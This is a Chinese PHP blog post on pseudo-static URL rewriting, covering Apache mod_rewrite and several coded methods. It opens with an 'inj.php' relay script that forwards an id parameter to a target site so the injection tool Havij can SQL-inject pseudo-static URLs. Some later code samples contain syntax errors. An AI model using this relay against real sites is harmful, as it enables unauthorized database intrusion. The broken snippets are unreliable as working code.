PHP 伪静态技术原理以及突破原理实现介绍


Posted in PHP onJuly 12, 2013

先说实现方法:
inj.php:

<?php 
set_time_limit(10); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 
$url="http://www.xxx.com/index.php/library/more/id/$id.html"; 
$ch=curl_init(); 
curl_setopt($ch,CURLOPT_URL,"$url"); 
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出 
curl_setopt($ch,CURLOPT_HEADER,0);//启用时会将头文件的信息作为数据流输出 
$output=curl_exec($ch); 
curl_close($ch); 
print_r($output); 
?>

用wamp搭建一个服务器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1
=============================
PHP伪静态实现方法一(利用Apache 服务器的功能)
1、检查Apache是否支持mod_rewrite
2、让Apache 支持.htaccess
3、建立.htaccess文件
4、规则:
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL长啥样
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如说:www.xx.com/page-18.html
真实的URL如下:
action = page
id = 18
============================
PHP伪静态实现方法二(编码实现)
$Php2Html_FileUrl = $_SERVER["REQUEST_URI"]
echo $Php2Html_FileUrl
例子:// localhost/php100/test.php?id|1@action|2
$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) )) 
/* 
内层的strrchr出来:/test.php?id|1@action|2 
外层的strrchr出来:id|1@action|2 
内层的str_replace出来:把 / 号去掉,本例子 没有 
外层的str_replace出来:把 ?号去掉,本例子 没有 
*/ 
$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString); 
/*把str变成以@为界限划分的数组:id|1 和 action|2*/ 
foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr) 
{ 
$Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr); 
/* id => 1 和 action => 2*/ 
$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1]; 
}

============================
PHP伪静态实现方法三(编码实现)
例子: localhost/php100/test.php/1/2
$filename = basename($_SERVER["SCRIPT_NAME"]); 
echo $_SERVER["SCRIPT_NAME"]; 
echo $filename; 
if(strtolower($filename) == 'test.php'){ 
if(!empty($_GET[id])){ 
$id=intval($_GET[id]); 
echo $id; 
$action = intval($_GET[action]); 
echo $action; 
}else{ 
$nav=$_SERVER["REQUEST_URI"]; 
$script=$_SERVER["SRCIPT_NAME"]; 
//这句话应该是把URL前面那段给搞掉。。剩下 "1/2"之类的。。 
$nav=ereg_replace("$script","",urldecode($nav)); 
echo $nav; 
$vars = explode("/",$nav); 
print_r($vars); 
$id=intval($vars[1]); 
$action=intval($vars[2]); 
} 
echo $id.'&'.$action; 
}

============================
PHP伪静态实现方法四(编码实现)
function mod_rewrite(){ 
global $_GET; 
$nav = $_SERVER["REQUEST_URI"]; 
$script_name = $_SERVER["SCRIPT_NAME"] 
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1); 
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html 
$vars=explode("/",$nav); 
print_r($vars); 
for($i=0;$i<count($vars);$i+=2) 
{ 
$_GET[$vars[$i]] = $vars[$i+1]; 
} 
return $_GET; 
}

============================
PHP伪静态实现方法五(编码实现)
例子:/1,100,8630.html
if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){ 
$gid =intval($arr_path[1]); //取得值1 
$sid =intval($arr_path[2]); //取得值100 
$softid =intval($arr_path[3]); //取得值8630 
} 
else 
echo "Path:Error!";

总结下:
(1)伪静态技术比较好突破,需要自己构造中转注入页面。
(2)伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式。
PHP 相关文章推荐
PHP 长文章分页函数 带使用方法,不会分割段落,翻页在底部
Oct 22 PHP
巧用php中的array_filter()函数去掉多维空值的代码分享
Sep 07 PHP
php fsockopen伪造post与get方法的详解
Jun 14 PHP
ThinkPHP 3.2 数据分页代码分享
Oct 14 PHP
PHP操作MySQL事务实例
Nov 05 PHP
Laravel 5 框架入门(三)
Apr 09 PHP
WordPress中编写自定义存储字段的相关PHP函数解析
Dec 25 PHP
PHP生成可点击刷新的验证码简单示例
May 13 PHP
PHP实现路由映射到指定控制器
Aug 13 PHP
PHP ajax+jQuery 实现批量删除功能实例代码小结
Dec 06 PHP
PHP 文件上传限制问题
Sep 01 PHP
PHP Beanstalkd消息队列的安装与使用方法实例详解
Feb 21 PHP
php的$_FILES的临时储存文件与回收机制实测过程
Jul 12 #PHP
php图像处理函数大全(推荐收藏)
Jul 11 #PHP
PHP 获取远程文件大小的3种解决方法
Jul 11 #PHP
深入Nginx + PHP 缓存详解
Jul 11 #PHP
基于PHP中的常用函数回顾
Jul 11 #PHP
PHP 获取文件权限函数介绍
Jul 11 #PHP
浅析php学习的路线图
Jul 10 #PHP
You might like
php读取javascript设置的cookies的代码
2010/04/12 PHP
PHP PDOStatement::bindColumn讲解
2019/01/30 PHP
laravel5.0在linux下解决.htaccess无效和去除index.php的问题
2019/10/16 PHP
JavaScript使用prototype定义对象类型
2007/02/07 Javascript
JQuery通过Ajax提交表单并返回结果
2011/07/31 Javascript
基于jquery的textarea发布框限制文字字数输入(添加中文识别)
2012/02/16 Javascript
JavaScript中setAttribute用法介绍
2013/07/20 Javascript
用js将内容复制到剪贴板兼容浏览器
2014/03/18 Javascript
nodejs中实现路由功能
2014/12/29 NodeJs
基于jQuery实现以手风琴方式展开和折叠导航菜单
2016/01/28 Javascript
Javascript vue.js表格分页,ajax异步加载数据
2016/10/24 Javascript
AngularJS+bootstrap实现动态选择商品功能示例
2017/05/17 Javascript
[39:07]LGD vs VP 2018国际邀请赛淘汰赛BO3 第二场 8.21
2018/08/22 DOTA
Python即时网络爬虫项目启动说明详解
2018/02/23 Python
使用Python从零开始撸一个区块链
2018/03/14 Python
Python实现在某个数组中查找一个值的算法示例
2018/06/27 Python
详解Python 多线程 Timer定时器/延迟执行、Event事件
2019/06/27 Python
Python正则表达式匹配数字和小数的方法
2019/07/03 Python
python学生信息管理系统实现代码
2019/12/17 Python
python实现密码强度校验
2020/03/18 Python
CSS实现鼠标滑过鼠标点击代码写法
2016/12/26 HTML / CSS
海滩咖啡馆:Beach Cafe
2018/02/02 全球购物
阿迪达斯荷兰官方网站:adidas荷兰
2018/03/16 全球购物
英国领先的豪华时尚家居网上商店:Amara
2019/08/12 全球购物
Set里的元素是不能重复的,那么用什么方法来区分重复与否呢? 是用==还是equals()? 它们有何区别?用contains来区分是否有重复的对象。还是都不用
2013/07/30 面试题
开展批评与自我批评发言材料
2014/05/15 职场文书
事业单位考察材料范文
2014/12/25 职场文书
2015年林业工作总结
2015/05/14 职场文书
毕业实习单位意见
2015/06/04 职场文书
离职信范本
2015/06/23 职场文书
结婚仪式主持词
2015/06/29 职场文书
2016优秀青年志愿者事迹材料
2016/02/25 职场文书
2016年公司“3.12”植树节活动总结
2016/03/16 职场文书
学长教您写论文:经验总结
2019/07/09 职场文书
JS继承最简单的理解方式
2021/03/31 Javascript
Sentry的安装、配置、使用教程(Sentry日志手机系统)
2022/07/23 Python